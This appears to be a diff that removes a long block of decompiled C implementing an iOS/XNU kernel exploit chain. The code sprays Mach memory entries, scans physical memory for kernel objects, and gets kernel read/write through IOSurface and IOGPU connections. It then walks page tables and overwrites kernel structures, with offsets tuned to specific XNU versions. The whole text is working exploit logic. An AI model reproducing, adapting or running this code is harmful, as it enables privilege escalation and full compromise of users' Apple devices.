-  v264 = *(uint64_t *)(v4 + 13432);
-  v266 = *(unsigned int *)(v4 + 13544);
-  v259 = (mach_port_t *)(v4 + 4 * v30 + 13480);
-  v34 = v4 + 688 * v30;
-  v281 = (unsigned int *)(v34 + 48);
-  v276 = -(int)v266;
-  v10 = 708620;
-  v35 = (uint64_t *)(v4 + 13592);
-  kobject = v34 + 40;
-  do
-  {
-    a1[0] = 0;
-    *(uint64_t *)&name.msgh_bits = vm_page_size;
-    if ( v33 && !((unsigned int)v33 % (unsigned int)v266) )
-    {
-      v36 = *(uint64_t *)(v4 + 13464);
-      if ( (uint32_t)v266 )
-      {
-        v37 = v276;
-        v38 = *(uint32_t **)(v4 + 13464);
-        v39 = v266;
-        do
-        {
-          *v38++ = *(uint32_t *)(v264 + 4LL * v37);
-          *(uint32_t *)(v264 + 4LL * v37++) = 0;
-          --v39;
-        }
-        while ( v39 );
-      }
-      *(uint64_t *)&outputStruct[0].msgh_bits = 0x2C80001514LL;
-      v40 = *v259;
-      *(__int128 *)&outputStruct[0].msgh_local_port = xmmword_42EC0;
-      *(uint64_t *)&outputStruct[1].msgh_size = v36;
-      outputStruct[1].msgh_voucher_port = v266;
-      outputStruct[0].msgh_remote_port = v40;
-      outputStruct[1].msgh_local_port = 34668544;
-      if ( mach_msg(outputStruct, 262161, 0x2Cu, 0, 0, 0, 0) )
-        break;
-    }
-    v41 = v304 ? 67248131 : 67239939;
-    if ( mach_make_memory_entry(mach_task_self_, (vm_size_t *)&name.msgh_bits, 0, v41, (mem_entry_name_port_t *)a1, 0) )
-      break;
-    value = v33;
-    *(uint32_t *)(v264 + 4LL * (uint64_t)v33) = a1[0];
-    v42 = *v281;
-    if ( !*v281 )
-      goto LABEL_92;
-    v43 = 0;
-    v45 = (int8x8_t *)kobject;
-    v44 = v294;
-    v46 = *(int8x8_t *)kobject;
-    while ( 1 )
-    {
-      v47 = 1LL << v43;
-      if ( ((1LL << v43) & *(uint64_t *)&v46) != 0 )
-        goto LABEL_89;
-      v48 = (uint64_t *)(*(uint64_t *)v44 + vm_page_size * v43);
-      if ( *v48 == *v35 )
-        goto LABEL_89;
-      if ( vm_page_size )
-        break;
-LABEL_88:
-      *(uint64_t *)&v46 |= v47;
-      *v45 = v46;
-      v10 = 708625;
-LABEL_89:
-      if ( ++v43 >= (unsigned __int64)v42 )
-        goto LABEL_93;
-    }
-    v49 = 0;
-    v50 = 0;
-    v51 = theDict;
-    while ( 1 )
-    {
-      v52 = (char *)v48 + v49;
-      v53 = *(uint32_t *)((char *)v48 + v49 + 40);
-      if ( v53 > 0x80 )
-      {
-LABEL_87:
-        v46 = *v45;
-        v35 = (uint64_t *)(v4 + 13592);
-        v42 = *v281;
-        goto LABEL_88;
-      }
-      if ( *(uint32_t *)v52 && *(uint32_t *)v52 == *((uint32_t *)v52 + 1) )
-      {
-        v54 = *((unsigned __int8 *)v52 + v51) != 128 && v53 == 1;
-        if ( v54 && *((uint64_t *)v52 + 3) == *(uint64_t *)&name.msgh_bits )
-          break;
-      }
-LABEL_86:
-      v50 += *(uint32_t *)(v4 + 13548);
-      v49 = v50;
-      if ( vm_page_size <= v50 )
-        goto LABEL_87;
-    }
-    if ( v304 )
-    {
-      v268 = *(uint64_t *)&v52[*(uint64_t *)v271];
-      if ( validate_kaddr_range(v5, v268) )
-      {
-        v10 = 0;
-        *(uint64_t *)kobject |= 1LL << v43;
-        break;
-      }
-      goto LABEL_85;
-    }
-    v55 = *(uint64_t *)&v52[v262];
-    if ( !validate_kaddr_range(v5, v55) )
-    {
-      v304 = 0;
-      v51 = theDict;
-LABEL_85:
-      v45 = (int8x8_t *)kobject;
-      v44 = v294;
-      v47 = 1LL << v43;
-      goto LABEL_86;
-    }
-    *(uint32_t *)(v264 + 4LL * (uint64_t)value) = 0;
-    *(uint32_t *)(v4 + 13552) = a1[0];
-    *(uint64_t *)(v4 + 13560) = v55 - v262;
-    v42 = *v281;
-    v10 = 708625;
-    v304 = v52;
-    v35 = (uint64_t *)(v4 + 13592);
-LABEL_92:
-    v45 = (int8x8_t *)kobject;
-LABEL_93:
-    v56 = (uint8x8_t)vcnt_s8(*v45);
-    v56.i16[0] = vaddlv_u8(v56);
-    if ( v42 == v56.i32[0] )
-      break;
-    v33 = (char *)value + 1;
-    ++v276;
-  }
-  while ( (unsigned __int64)value + 1 < *(unsigned int *)(v4 + 13440) );
-  get_page_size();
-  if ( (uint32_t)v10 == 708620 )
-    goto LABEL_100;
-  if ( (uint32_t)v10 == 708625 )
-  {
-LABEL_101:
-    v30 = v261;
-    v24 = 688;
-    goto LABEL_51;
-  }
-  *(uint64_t *)(v4 + 11280) = v268;
-  if ( !validate_kaddr_range(v5, v268) )
-    return 163878;
-  v62 = (unsigned int)v261;
-  while ( 2 )
-  {
-    v63 = (int8x8_t *)(v4 + 688 * v62);
-    v65 = v63[2];
-    v64 = v63 + 2;
-    if ( !*(uint64_t *)&v65 || !*(uint64_t *)(v4 + 688 * v62 + 24) )
-    {
-      get_page_size();
-      if ( *(uint32_t *)v4 == 3 )
-      {
-        v70 = kernel_read_loop_physmap(v5, v4, 0x10u, (__int64)v64);
-        if ( !v70 )
-        {
-          get_page_size();
-          v71 = physmap_read_rebuild_page((uint64_t *)v4, v64);
-          if ( !(uint32_t)v71 )
-          {
-            get_page_size();
-            v67 = *(uint32_t *)(v4 + 688 * v62 + 48);
-            goto LABEL_134;
-          }
-          v10 = v71;
-LABEL_128:
-          v69 = 41;
-          goto LABEL_129;
-        }
-      }
-      else
-      {
-        v70 = 4;
-      }
-      v10 = v70 | 0x80000000;
-      goto LABEL_128;
-    }
-    v66 = (int8x8_t *)(v4 + 688 * v62);
-    v67 = v66[6].u32[0];
-    v68 = (uint8x8_t)vcnt_s8(v66[5]);
-    v68.i16[0] = vaddlv_u8(v68);
-    if ( v67 == v68.i32[0] )
-    {
-      v69 = 41;
-      v10 = 708625;
-      goto LABEL_129;
-    }
-LABEL_134:
-    if ( v67 <= 0x40 )
-    {
-      if ( *(uint64_t *)(v5 + 344) >> 43 < 0x44Bu )
-        v72 = 0;
-      else
-        v72 = *(uint32_t *)(v5 + 384) % 0x50u;
-      v282 = *(uint64_t *)(v4 + 11304) + *(uint64_t *)(v4 + 11296);
-      theDicta = *(CFMutableDictionaryRef *)(v4 + 11296);
-      v73 = vm_page_shift;
-      kobject = v4 + 688 * v62 + 48;
-      __handle = (int8x8_t *)(v4 + 688 * v62 + 40);
-      LODWORD(v74) = *(uint32_t *)(v4 + 12352);
-      do
-      {
-        if ( (unsigned int)v74 > 0xFF )
-        {
-LABEL_195:
-          v10 = 708620;
-          goto LABEL_196;
-        }
-        v75 = (unsigned int)v74 + 3089LL;
-        while ( *(uint32_t *)(v4 + 4 * v75) >= 0x400u )
-        {
-          if ( (uint32_t)++v75 == 3345 )
-            goto LABEL_195;
-        }
-        v76 = v75 - 3089;
-        *(uint32_t *)(v4 + 12352) = v76;
-        *(uint64_t *)&outputStruct[0].msgh_bits = 0x2C80000014LL;
-        v77 = *(uint32_t *)(v4 + 11296 + 4LL * v76 + 32);
-        *(__int128 *)&outputStruct[0].msgh_local_port = xmmword_42EC0;
-        outputStruct[1].msgh_voucher_port = *(uint64_t *)(v4 + 11304);
-        *(uint64_t *)&outputStruct[1].msgh_size = *(uint64_t *)(v4 + 11296);
-        outputStruct[0].msgh_remote_port = v77;
-        outputStruct[1].msgh_local_port = 16777472;
-        v78 = mach_msg(outputStruct, 262161, 0x2Cu, 0, 0, 0, 0);
-        if ( v78 )
-        {
-          v10 = v78 | 0x80000000;
-          goto LABEL_196;
-        }
-        v74 = *(unsigned int *)(v4 + 12352);
-        ++*(uint32_t *)(v4 + 4 * v74 + 12356);
-        v79 = *(unsigned int *)kobject;
-        if ( (uint32_t)v79 )
-        {
-          v80 = 0;
-          v81 = (vm_size_t)theDicta + 4 * vm_page_size;
-          v82 = v282 - 4 * vm_page_size;
-          v83 = *__handle;
-          do
-          {
-            v84 = 1LL << v80;
-            if ( ((1LL << v80) & *(uint64_t *)&v83) == 0 )
-            {
-              v85 = (uint64_t *)(*(uint64_t *)v64 + (unsigned int)((uint32_t)v80 << v73));
-              if ( *v85 != *(uint64_t *)(v4 + 13592) )
-              {
-                v86 = *(uint32_t *)(v5 + 384);
-                if ( v72 < v86 )
-                {
-                  for ( m = v72; m < v86; m += 80 )
-                  {
-                    v88 = (uint64_t *)((char *)v85 + m);
-                    v89 = *v88;
-                    if ( (unsigned __int64)(*v88 - 1) < 0xFFFEFFFFFFFFFFFFLL )
-                      break;
-                    if ( (v88[8] & 0xFFF) == 0xCC )
-                    {
-                      v90 = v88[2];
-                      if ( v90 > v81 && v88[3] <= v82 )
-                      {
-                        v91 = (char *)v85 + (*(uint64_t *)(v5 + 392) & v89);
-                        if ( *((uint64_t *)v91 + 3) == v90 )
-                        {
-                          *(uint64_t *)(v4 + 13408) = v89;
-                          *(uint64_t *)(v4 + 13392) = *((uint64_t *)v91 + 1);
-                          *(uint64_t *)(v4 + 13384) = v88;
-                          *(uint64_t *)(v4 + 13400) = v91;
-                          *__handle = (int8x8_t){ .u64 = { v84 | *(uint64_t *)&v83 } };
-                          v94 = check_physmap_page_count((uint32_t *)v4, (__int64)v64);
-                          if ( (uint32_t)v94 )
-                          {
-                            v10 = v94;
-                            goto LABEL_196;
-                          }
-                          v283 = *(unsigned int *)(v4 + 12352);
-                          if ( (v283 & 0x80000000) != 0 )
-                          {
-LABEL_184:
-                            v98 = 0;
-LABEL_188:
-                            v102 = 1;
-                          }
-                          else
-                          {
-                            theDictb = *(CFMutableDictionaryRef *)(v4 + 13384);
-                            while ( 1 )
-                            {
-                              v95 = v4 + 4 * v283;
-                              if ( *(uint32_t *)(v95 + 12356) )
-                                break;
-LABEL_182:
-                              v226 = v283-- <= 0;
-                              if ( v226 )
-                                goto LABEL_184;
-                            }
-                            __handlea = (uint32_t *)(v95 + 12356);
-                            kobject = v95 + 11328;
-                            while ( 1 )
-                            {
-                              v96 = *(uint32_t *)kobject;
-                              LODWORD(v323) = 0;
-                              memset(outputStruct, 0, sizeof(outputStruct));
-                              v97 = mach_msg(outputStruct, 2, 0, 0x34u, v96, 0, 0);
-                              if ( v97 )
-                              {
-                                v98 = v97 | 0x80000000;
-                                goto LABEL_188;
-                              }
-                              v98 = 163885;
-                              if ( (outputStruct[0].msgh_bits & 0x80000000) == 0 )
-                                goto LABEL_187;
-                              if ( outputStruct[1].msgh_bits != 1 )
-                                goto LABEL_187;
-                              v98 = 163886;
-                              if ( HIBYTE(outputStruct[1].msgh_local_port) != 1 )
-                                goto LABEL_187;
-                              v99 = *(uint64_t *)&outputStruct[1].msgh_size;
-                              if ( !*(uint64_t *)&outputStruct[1].msgh_size )
-                                goto LABEL_187;
-                              msgh_voucher_port = outputStruct[1].msgh_voucher_port;
-                              if ( !outputStruct[1].msgh_voucher_port )
-                              {
-                                v98 = 163886;
-LABEL_187:
-                                mach_msg_destroy(outputStruct);
-                                goto LABEL_188;
-                              }
-                              *(uint64_t *)&outputStruct[1].msgh_size = 0;
-                              outputStruct[1].msgh_voucher_port = 0;
-                              mach_msg_destroy(outputStruct);
-                              v101 = *((uint64_t *)theDictb + 2);
-                              --*__handlea;
-                              if ( v101 >= v99 && v101 < msgh_voucher_port + v99 )
-                                break;
-                              vm_deallocate(mach_task_self_, v99, msgh_voucher_port);
-                              if ( !*__handlea )
-                                goto LABEL_182;
-                            }
-                            v102 = 0;
-                            v98 = 0;
-                            *(uint64_t *)(v4 + 11312) = v99;
-                            *(uint64_t *)(v4 + 11320) = msgh_voucher_port;
-                          }
-                          if ( ((unsigned __int8)v102 & (v98 == 0)) != 0 )
-                            v10 = 708625;
-                          else
-                            v10 = v98;
-                          if ( (uint32_t)v10 != 708625 )
-                          {
-                            if ( !(uint32_t)v10 )
-                              *(uint64_t *)(v4 + 11288) = v304;
-                            goto LABEL_196;
-                          }
-                          goto LABEL_128;
-                        }
-                      }
-                    }
-                  }
-                }
-                *(uint64_t *)&v83 |= v84;
-                *__handle = v83;
-              }
-            }
-            ++v80;
-          }
-          while ( v80 != v79 );
-        }
-        else
-        {
-          v83 = *__handle;
-        }
-        v92 = (uint8x8_t)vcnt_s8(v83);
-        v92.i16[0] = vaddlv_u8(v92);
-      }
-      while ( (uint32_t)v79 != v92.i32[0] );
-      v93 = check_physmap_page_count((uint32_t *)v4, (__int64)v64);
-      if ( v93 )
-        v69 = 40;
-      else
-        v69 = 41;
-      if ( v93 )
-        v10 = v93;
-      else
-        v10 = 708625;
-LABEL_129:
-      if ( v69 == 40 )
-        goto LABEL_196;
-      v257 = v62++ >= 0xF;
-      if ( v257 )
-        goto LABEL_196;
-      continue;
-    }
-    break;
-  }
-  v10 = 708609;
-LABEL_196:
-  v103 = *(uint32_t *)(v4 + 13440);
-  if ( v103 )
-  {
-    v104 = 0;
-    v105 = *(uint64_t *)(v4 + 13432);
-    do
-    {
-      v106 = *(uint32_t *)(v105 + 4 * v104);
-      if ( v106 + 1 >= 2 )
-      {
-        mach_port_deallocate(mach_task_self_, v106);
-        v105 = *(uint64_t *)(v4 + 13432);
-        *(uint32_t *)(v105 + 4 * v104) = 0;
-        v103 = *(uint32_t *)(v4 + 13440);
-      }
-      ++v104;
-    }
-    while ( v104 < v103 );
-  }
-  v107 = 0;
-  v24 = v4 + 13480;
-  do
-  {
-    v108 = *(uint32_t *)(v24 + v107);
-    if ( v108 + 1 >= 2 )
-    {
-      mach_port_mod_refs(mach_task_self_, v108, 1u, -1);
-      *(uint32_t *)(v24 + v107) = 0;
-    }
-    v107 += 4;
-  }
-  while ( v107 != 64 );
-LABEL_205:
-  if ( (uint32_t)v10 )
-    return v10;
-  *(uint64_t *)(v5 + 80) = v4;
-  *(uint64_t *)(v5 + 48) = ioconnect_kread_physmap;
-  addr_v24 = *(uint64_t *)(v4 + 11280);
-LABEL_207:
-  v305 = 163855;
-  v10 = 163878;
-  if ( !validate_kaddr_range(v5, addr_v24) )
-    return v10;
-  v109 = kreadptr(krwCtx, addr_v24);
-  if ( !v109 )
-    return v10;
-  *(uint64_t *)(v5 + 416) = v109;
-  v110 = mach_host_self();
-  ipc_port = task_self_get_ipc_port(krwCtx, v110);
-  if ( !ipc_port )
-    return 163854;
-  *(uint64_t *)(v5 + 424) = ipc_port;
-  v112 = 24;
-  if ( *(int *)(v5 + 320) <= 8791 )
-    v113 = 24;
-  else
-    v113 = 16;
-  if ( *(int *)(v5 + 320) <= 8791 )
-    v114 = 104;
-  else
-    v114 = 96;
-  if ( *(int *)(v5 + 320) <= 8791 )
-    v112 = 16;
-  v295 = v112;
-  v115 = read_kaddr_at_task_offset(krwCtx, addr_v24);
-  if ( !v115 )
-    return 163878;
-  if ( !kread_physmap_decorated(krwCtx, v113 + v115, (unsigned __int64 *)&outputStruct[0].msgh_bits) )
-    return v305;
-  v116 = *(uint64_t *)&outputStruct[0].msgh_bits;
-  if ( !*(uint64_t *)&outputStruct[0].msgh_bits )
-    return 708625;
-  LODWORD(v10) = 708625;
-  while ( 1 )
-  {
-    if ( !validate_kaddr_range(v5, v116) )
-      goto LABEL_246;
-    if ( !kread_u32(v5, *(uint64_t *)&outputStruct[0].msgh_bits + v114, a1) )
-      goto LABEL_245;
-    if ( a1[0] )
-    {
-      v117 = *(uint64_t *)&outputStruct[0].msgh_bits;
-      goto LABEL_228;
-    }
-    if ( !kread_physmap_decorated(
-            krwCtx,
-            *(uint64_t *)&outputStruct[0].msgh_bits + v113,
-            (unsigned __int64 *)&name.msgh_bits) )
-      goto LABEL_245;
-    v117 = *(uint64_t *)&outputStruct[0].msgh_bits;
-    if ( *(uint64_t *)&outputStruct[0].msgh_bits == *(uint64_t *)&name.msgh_bits )
-      break;
-LABEL_228:
-    v118 = kread_physmap_decorated(krwCtx, v117 + v113, (unsigned __int64 *)&outputStruct[0].msgh_bits);
-    if ( v118 )
-      v10 = (unsigned int)v10;
-    else
-      v10 = 163855;
-    if ( v118 )
-    {
-      v116 = *(uint64_t *)&outputStruct[0].msgh_bits;
-      if ( *(uint64_t *)&outputStruct[0].msgh_bits )
-        continue;
-    }
-    goto LABEL_247;
-  }
-  if ( !kread_physmap_decorated(
-          krwCtx,
-          *(uint64_t *)&outputStruct[0].msgh_bits + v295,
-          (unsigned __int64 *)&name.msgh_bits) )
-    goto LABEL_245;
-  if ( !validate_kaddr_range(v5, *(__int64 *)&name.msgh_bits) )
-    goto LABEL_246;
-  if ( *(int *)(v5 + 320) < 8792 )
-  {
-LABEL_244:
-    v10 = 0;
-    v24 = *(uint64_t *)&name.msgh_bits;
-    goto LABEL_247;
-  }
-  if ( kread_physmap_decorated(krwCtx, *(uint64_t *)&name.msgh_bits + 8LL, (unsigned __int64 *)&name.msgh_bits) )
-  {
-    if ( validate_kaddr_range(v5, *(__int64 *)&name.msgh_bits) )
-      goto LABEL_244;
-LABEL_246:
-    v10 = 163878;
-  }
-  else
-  {
-LABEL_245:
-    v10 = 163855;
-  }
-LABEL_247:
-  if ( (uint32_t)v10 )
-    return v10;
-  *(uint64_t *)(v5 + 6616) = v24;
-  v10 = check_iogpu_krw_ready_type2(krwCtx, 0, *(uint64_t *)(v5 + 424), (unsigned __int64 *)(v5 + 6608));
-  if ( (uint32_t)v10 )
-    return v10;
-  v10 = init_pgtable_walk_ctx(v5, 0);
-  if ( (uint32_t)v10 )
-    return v10;
-  v120 = *(uint64_t *)(v5 + 344);
-  if ( v120 > XNU_VERSION_PACKED(10002, 60, 75, 0, 2) )
-  {
-    if ( (*(uint8_t *)v5 & 0x20) != 0 )
-    {
-      v10 = free_iogpu_krw_ctx(krwCtx);
-      if ( (uint32_t)v10 )
-        return v10;
-      v10 = krw_read_validation(krwCtx, 0);
-      if ( (uint32_t)v10 )
-        return v10;
-      *(uint64_t *)(v5 + 48) = 0;
-      v10 = krw_write_validation(krwCtx);
-      if ( (uint32_t)v10 )
-        return v10;
-      v121 = (uint64_t *)(v5 + 64);
-      goto LABEL_256;
-    }
-    goto LABEL_372;
-  }
-  if ( v120 > XNU_VERSION_PACKED(8796, 122, 4, 1023, 1023)
-    || (v120 >= XNU_VERSION_PACKED(8796, 102, 5, 0, 0) && ((*(uint32_t *)v5 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 || (*(uint32_t *)v5 & 1) != 0)) )
-  {
-LABEL_372:
-    v319[0] = 0;
-    v174 = vm_page_size;
-    *(uint64_t *)&outputStruct[0].msgh_bits = vm_page_size;
-    *(uint64_t *)&name.msgh_bits = 0;
-    memory_entry = mach_make_memory_entry(mach_task_self_, (vm_size_t *)&outputStruct[0].msgh_bits, 0, 131075, v319, 0);
-    if ( !memory_entry )
-    {
-      v175 = get_task_kobject_addr(krwCtx, v319[0]);
-      v10 = 163878;
-      if ( !v175 )
-        return v10;
-      v176 = v175;
-      v177 = kaddr_to_phys_v1(v5, v175);
-      if ( !v177 )
-        return v10;
-      v178 = v177;
-      v179 = walk_kaddr_chain_to_target(krwCtx, v176, 0);
-      v10 = 163878;
-      if ( !v179 )
-        return v10;
-      v180 = v179;
-      __handlec = kaddr_to_phys_v1(v5, v179);
-      if ( !__handlec )
-        return v10;
-      v10 = map_sptm_state_page(v4);
-      if ( (uint32_t)v10 )
-        return v10;
-      v10 = get_physmap_region_ptrs(v5, *(uint64_t *)(v4 + 11288), __handlec & ~*(uint64_t *)(v5 + 392), a1);
-      if ( (uint32_t)v10 )
-        return v10;
-      memory_entry = vm_map(
-                       mach_task_self_,
-                       (vm_address_t *)&name.msgh_bits,
-                       v174,
-                       0,
-                       1,
-                       *(uint32_t *)(v4 + 13552),
-                       0,
-                       0,
-                       3,
-                       3,
-                       2u);
-      if ( !memory_entry )
-      {
-        v181 = (*(uint64_t *)(v5 + 392) & v180) + *(uint64_t *)&name.msgh_bits;
-        v10 = 163893;
-        if ( *(uint32_t *)v181 != *(uint32_t *)(v181 + 4) )
-          return v10;
-        if ( *(uint64_t *)(v181 + 24) != *(uint64_t *)&outputStruct[0].msgh_bits )
-          return v10;
-        v10 = get_physmap_region_ptrs(v5, v181, 0, 0);
-        if ( (uint32_t)v10 )
-          return v10;
-        *(uint64_t *)(v181 + 24) = -1;
-        memory_entry = vm_deallocate(mach_task_self_, *(vm_address_t *)&name.msgh_bits, v174);
-        if ( !memory_entry )
-        {
-          v10 = get_physmap_region_ptrs(v5, *(uint64_t *)(v4 + 11288), v178 & ~*(uint64_t *)(v5 + 392), 0);
-          if ( (uint32_t)v10 )
-            return v10;
-          memory_entry = vm_map(
-                           mach_task_self_,
-                           (vm_address_t *)&name.msgh_bits,
-                           v174,
-                           0,
-                           1,
-                           *(uint32_t *)(v4 + 13552),
-                           0,
-                           0,
-                           3,
-                           3,
-                           2u);
-          if ( !memory_entry )
-          {
-            v182 = *(uint64_t *)&name.msgh_bits;
-            v183 = (*(uint64_t *)(v5 + 392) & v176) + *(uint64_t *)&name.msgh_bits;
-            if ( *(uint64_t *)(v183 + 32) != *(uint64_t *)&outputStruct[0].msgh_bits )
-              return 163857;
-            *(uint64_t *)(v183 + 32) = -1;
-            memory_entry = vm_deallocate(mach_task_self_, v182, v174);
-            if ( !memory_entry )
-            {
-              *(uint32_t *)(v5 + 88) = v319[0];
-              v10 = krw_read_validation(v5, 0);
-              if ( (uint32_t)v10 )
-                return v10;
-              *(uint64_t *)(v5 + 80) = 0;
-              *(uint64_t *)(v5 + 48) = 0;
-              v10 = krw_write_validation(krwCtx);
-              if ( (uint32_t)v10 )
-                return v10;
-              goto LABEL_257;
-            }
-          }
-        }
-      }
-    }
-    return memory_entry | 0x80000000;
-  }
-  v316 = 0;
-  v312 = 0;
-  v184 = 288;
-  if ( *(int *)(v5 + 320) > 8791 )
-    v184 = 264;
-  theDictd = (CFMutableDictionaryRef)v184;
-  v185 = 280;
-  if ( *(int *)(v5 + 320) > 8791 )
-    v185 = 256;
-  v280 = vm_page_size;
-  v285 = v185;
-  *(__int128 *)a1 = 0u;
-  v321 = 0u;
-  v186 = (unsigned int)ioservice_get_matching("IOSurfaceRoot");
-  v10 = 163854;
-  if ( v186 + 1 < 2 )
-    return v10;
-  v187 = v186;
-  if ( IOServiceOpen(v186, mach_task_self_, 0, (io_connect_t *)a1)
-    || (v297 = task_self_get_ipc_port(krwCtx, a1[0])) == 0 )
-  {
-    v188 = 0;
-    v297 = 0;
-    v278 = 0;
-  }
-  else
-  {
-    v215 = 0;
-    while ( 1 )
-    {
-      kobject = maybe_ipc_port_get_kobject(krwCtx, v297);
-      if ( !kobject )
-      {
-        v188 = 0;
-        kobject = 0;
-        v278 = 0;
-        v10 = 163877;
-        goto LABEL_402;
-      }
-      if ( *(unsigned int *)(v5 + 384) - (*(uint64_t *)(v5 + 392) & kobject) >= 0x200 )
-      {
-        v10 = 0;
-        v188 = a1[v215];
-        v278 = 1;
-        goto LABEL_402;
-      }
-      if ( v215 == 7 )
-      {
-        v188 = 0;
-        v278 = 0;
-        v10 = 708625;
-        goto LABEL_402;
-      }
-      if ( IOServiceOpen(v187, mach_task_self_, 0, (io_connect_t *)&a1[v215 + 1]) )
-        break;
-      v216 = task_self_get_ipc_port(krwCtx, a1[++v215]);
-      v297 = v216;
-      if ( !v216 )
-      {
-        v188 = 0;
-        v297 = 0;
-        goto LABEL_482;
-      }
-    }
-    v188 = 0;
-LABEL_482:
-    v278 = 0;
-  }
-  v10 = 163854;
-LABEL_402:
-  for ( n = 0; n != 8; ++n )
-  {
-    v190 = a1[n];
-    if ( v190 + 1 >= 2 && v190 != v188 )
-    {
-      IOServiceClose(v190);
-      a1[n] = 0;
-    }
-  }
-  IOObjectRelease(v187);
-  if ( !v278 )
-    return v10;
-  v273 = (__int64)theDictd + kobject;
-  v270 = kobject + v285;
-  v192 = 7;
-  while ( 2 )
-  {
-    v279 = v192;
-    outputStructCnt = 3936;
-    __handled = dlopen("/System/Library/Frameworks/IOSurface.framework/IOSurface", 1);
-    if ( !__handled )
-      return 110593;
-    v193 = (const void **)dlsym(__handled, "kIOSurfaceIsGlobal");
-    if ( !v193 )
-      goto LABEL_485;
-    v194 = *v193;
-    if ( !*v193 )
-      goto LABEL_485;
-    v195 = (const void **)dlsym(__handled, "kIOSurfaceWidth");
-    if ( !v195 )
-      goto LABEL_485;
-    v196 = *v195;
-    if ( !*v195 )
-      goto LABEL_485;
-    v197 = (const void **)dlsym(__handled, "kIOSurfaceHeight");
-    if ( !v197 )
-      goto LABEL_485;
-    v198 = *v197;
-    if ( !*v197 )
-      goto LABEL_485;
-    theDicte = CFDictionaryCreateMutable(0, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
-    if ( !theDicte )
-    {
-      v6 = 708617;
-LABEL_485:
-      dlclose(__handled);
-      return v6;
-    }
-    CFDictionarySetValue(theDicte, v194, kCFBooleanFalse);
-    cfdict_set_int32(theDicte, v196);
-    cfdict_set_int32(theDicte, v198);
-    v199 = IOCFSerialize(theDicte, 1u);
-    if ( v199 )
-    {
-      v200 = v199;
-      v201 = *(uint32_t *)(v5 + 320);
-      if ( v201 >= 8792 )
-      {
-        outputStructCnt = 2664;
-        goto LABEL_427;
-      }
-      if ( v201 < 8019 )
-      {
-        v203 = 0;
-        v202 = 0;
-      }
-      else
-      {
-LABEL_427:
-        *(uint64_t *)v319 = 0;
-        v202 = 1;
-        v203 = v319;
-      }
-      BytePtr = CFDataGetBytePtr(v199);
-      Length = CFDataGetLength(v200);
-      if ( IOConnectCallMethod(
-             v188,
-             0,
-             (const uint64_t *)v203,
-             v202,
-             BytePtr,
-             Length,
-             0,
-             0,
-             outputStruct,
-             &outputStructCnt) )
-      {
-        v10 = 4097;
-      }
-      else
-      {
-        v206 = v285;
-        if ( outputStruct[1].msgh_bits < 0x10000 )
-          v206 = outputStruct[1].msgh_bits;
-        LODWORD(v285) = v206;
-        if ( outputStruct[1].msgh_bits >= 0x10000 )
-          v10 = 163857;
-        else
-          v10 = 0;
-      }
-      CFRelease(v200);
-    }
-    else
-    {
-      v10 = 708617;
-    }
-    CFRelease(theDicte);
-    dlclose(__handled);
-    if ( (uint32_t)v10 )
-      return v10;
-    if ( !(unsigned int)krw_read_thunk(krwCtx, v273, 8, &v313) )
-      return 163855;
-    if ( v313 <= (unsigned int)v285 )
-      return 163857;
-    if ( !kread_physmap_decorated(krwCtx, v270, (unsigned __int64 *)&v317) )
-      return 163855;
-    if ( !validate_kaddr_range(v5, v317) )
-      return 163878;
-    if ( !kread_physmap_decorated(krwCtx, v317 + (unsigned int)(8 * v285), (unsigned __int64 *)&v316) )
-      return 163855;
-    if ( !validate_kaddr_range(v5, v316) )
-      return 163878;
-    if ( !kread_physmap_decorated(krwCtx, v316 + 64, (unsigned __int64 *)&v315) )
-      return 163855;
-    if ( !validate_kaddr_range(v5, v315) )
-      return 163878;
-    v207 = *(uint64_t *)(v5 + 392);
-    v208 = v207 & v315;
-    if ( *(unsigned int *)(v5 + 384) - (v207 & (unsigned __int64)v315) <= 0x4FF )
-    {
-      v192 = v279 - 1;
-      if ( v279 )
-        continue;
-    }
-    break;
-  }
-  v311 = 0;
-  v209 = pgtable_walk_wrapper(v5, v315 & ~v207, &name);
-  v10 = 163878;
-  if ( !v209 )
-    return v10;
-  __handlee = v311;
-  v210 = *(uint64_t *)(v5 + 392);
-  v211 = pgtable_walk_wrapper(v5, kobject & ~v210, &name);
-  if ( !v211 )
-    return v10;
-  v212 = v311;
-  v10 = map_sptm_state_page(v4);
-  if ( (uint32_t)v10 )
-    return v10;
-  v10 = iokit_kwrite_via_port(
-          krwCtx,
-          *(uint64_t *)(v4 + 11288),
-          *(uint64_t *)(v4 + 13560),
-          0,
-          *(uint64_t *)(v4 + 11288) + 192LL,
-          *(uint64_t *)(v4 + 13560) + 192LL,
-          v212 & 0xFFFFFFFFC000LL);
-  if ( (uint32_t)v10 )
-    return v10;
-  memory_entry = vm_map(mach_task_self_, &v312, v280, 0, 1, *(uint32_t *)(v4 + 13552), 0, 0, 3, 3, 2u);
-  if ( memory_entry )
-    return memory_entry | 0x80000000;
-  v213 = v312 + (v210 & kobject);
-  v10 = 163857;
-  if ( *(uint64_t *)(v213 + 88) || *(uint8_t *)(v213 + 153) )
-    return v10;
-  if ( !validate_kaddr_range(v5, *(uint64_t *)(v213 + 136)) )
-    return 163878;
-  *(uint64_t *)(v213 + 136) = kobject + 80;
-  *(uint8_t *)(v213 + 153) = 64;
-  memory_entry = vm_deallocate(mach_task_self_, v312, v280);
-  if ( memory_entry )
-    return memory_entry | 0x80000000;
-  v10 = iokit_kwrite_via_port(
-          krwCtx,
-          *(uint64_t *)(v4 + 11288),
-          *(uint64_t *)(v4 + 13560),
-          1,
-          *(uint64_t *)(v4 + 11288) + 192LL,
-          *(uint64_t *)(v4 + 13560) + 192LL,
-          __handlee & 0xFFFFFFFFC000LL);
-  if ( (uint32_t)v10 )
-    return v10;
-  memory_entry = vm_map(mach_task_self_, &v312, v280, 0, 1, *(uint32_t *)(v4 + 13552), 0, 0, 3, 3, 2u);
-  if ( memory_entry )
-    return memory_entry | 0x80000000;
-  *(uint32_t *)(v5 + 232) = v188;
-  v214 = v312;
-  *(uint64_t *)(v5 + 240) = v315;
-  *(uint64_t *)(v5 + 248) = v214;
-  *(uint64_t *)(v5 + 256) = v280;
-  *(uint64_t *)(v5 + 264) = v208;
-  *(uint32_t *)(v5 + 272) = v285;
-  *(uint32_t *)(v5 + 276) = *(uint32_t *)(v4 + 13552);
-  *(uint32_t *)(v4 + 13552) = 0;
-  v10 = 163841;
-  if ( v188 + 1 < 2 || !v214 || !v280 )
-    return v10;
-  if ( !(unsigned int)kread_modify_u32_with_delta(krwCtx, v297, 16) )
-    return 163856;
